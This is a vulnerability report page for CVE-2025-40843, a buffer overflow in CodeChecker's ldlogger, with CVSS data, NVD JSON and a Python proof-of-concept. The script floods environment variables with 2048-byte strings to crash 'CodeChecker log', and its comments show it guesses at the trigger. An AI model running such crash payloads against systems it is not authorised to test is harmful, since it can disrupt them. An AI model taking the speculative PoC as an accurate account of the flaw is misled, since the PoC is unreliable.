Security Vulnerability Report
中文
CVE-2025-40843 CVSS 5.9 MEDIUM

CVE-2025-40843

Published: 2025-10-28 19:15:42
Last Modified: 2025-11-14 18:52:31
Source: 85b1779b-6ecd-4f52-bcc5-73eac4659dcf

Description

CodeChecker is an analyzer tooling, defect database and viewer extension for the Clang Static Analyzer and Clang Tidy. CodeChecker versions up to 6.26.1 contain a buffer overflow vulnerability in the internal ldlogger library, which is executed by the CodeChecker log command. This issue affects CodeChecker: through 6.26.1.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:ericsson:codechecker:*:*:*:*:*:*:*:* - VULNERABLE
CodeChecker <= 6.26.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-40843 PoC - CodeChecker ldlogger Buffer Overflow # This PoC demonstrates the buffer overflow in CodeChecker's ldlogger library import os import subprocess import sys def generate_poc_payload(): """ Generate a payload that triggers buffer overflow in ldlogger. The ldlogger library doesn't properly validate the length of environment variables and compilation arguments. """ # Create an environment variable with payload that exceeds buffer size # Typical buffer size is 256-1024 bytes, so we use 2048 bytes overflow_payload = 'A' * 2048 # Set the LD_PRELOAD or other environment variables that ldlogger processes malicious_env = { 'LD_PRELOAD': overflow_payload, 'COMPILER_PATH': overflow_payload, 'CC': overflow_payload, 'CXX': overflow_payload } return malicious_env, overflow_payload def test_vulnerability(): """ Test if CodeChecker log command is vulnerable to buffer overflow. """ print("[*] CVE-2025-40843 CodeChecker ldlogger Buffer Overflow PoC") print("[*] Testing for vulnerable CodeChecker installation...") # Check if CodeChecker is installed try: result = subprocess.run(['which', 'CodeChecker'], capture_output=True, text=True, timeout=5) if result.returncode != 0: print("[-] CodeChecker not found in PATH") return False print(f"[+] Found CodeChecker at: {result.stdout.strip()}") except Exception as e: print(f"[-] Error checking CodeChecker: {e}") return False # Generate payload malicious_env, payload = generate_poc_payload() print(f"[+] Generated overflow payload: {len(payload)} bytes") # Try to execute CodeChecker log with malicious environment # This should trigger the buffer overflow if vulnerable try: test_file = '/tmp/test.c' with open(test_file, 'w') as f: f.write('int main() { return 0; }\n') cmd = ['CodeChecker', 'log', '-o', '/tmp/codechecker_log.json', '-b', 'gcc', test_file] print("[*] Executing CodeChecker log with malicious environment...") result = subprocess.run(cmd, env={**os.environ, **malicious_env}, capture_output=True, text=True, timeout=30) if result.returncode != 0: print(f"[!] Command failed with return code: {result.returncode}") print(f"[!] Stderr: {result.stderr[:500]}") if 'Segmentation fault' in result.stderr or 'stack smashing' in result.stderr: print("[+] VULNERABLE: Buffer overflow detected!") return True else: print("[-] Command executed without crash - may not be vulnerable or payload too small") except subprocess.TimeoutExpired: print("[+] Timeout - possible infinite loop or hang due to corruption") return True except Exception as e: print(f"[-] Error during test: {e}") return False if __name__ == '__main__': vulnerable = test_vulnerability() if vulnerable: print("\n[+] Target is VULNERABLE to CVE-2025-40843") sys.exit(0) else: print("\n[-] Target may NOT be vulnerable or CodeChecker not installed") sys.exit(1)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-40843", "sourceIdentifier": "85b1779b-6ecd-4f52-bcc5-73eac4659dcf", "published": "2025-10-28T19:15:41.757", "lastModified": "2025-11-14T18:52:30.597", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CodeChecker is an analyzer tooling, defect database and viewer extension for the Clang Static Analyzer and Clang Tidy. \n\n\n\n\nCodeChecker versions up to 6.26.1 contain a buffer overflow vulnerability in the internal ldlogger library, which is executed by the CodeChecker log command.\n\n\n\n\n\nThis issue affects CodeChecker: through 6.26.1."}], "metrics": {"cvssMetricV31": [{"source": "85b1779b-6ecd-4f52-bcc5-73eac4659dcf", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "85b1779b-6ecd-4f52-bcc5-73eac4659dcf", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ericsson:codechecker:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.26.2", "matchCriteriaId": "86A8B23F-51A5-4124-9FC0-DF0DC43476A0"}]}]}], "references": [{"url": "https://github.com/Ericsson/codechecker/security/advisories/GHSA-5xf2-f6ch-6p8r", "source": "85b1779b-6ecd-4f52-bcc5-73eac4659dcf", "tags": ["Exploit", "Vendor Advisory"]}]}}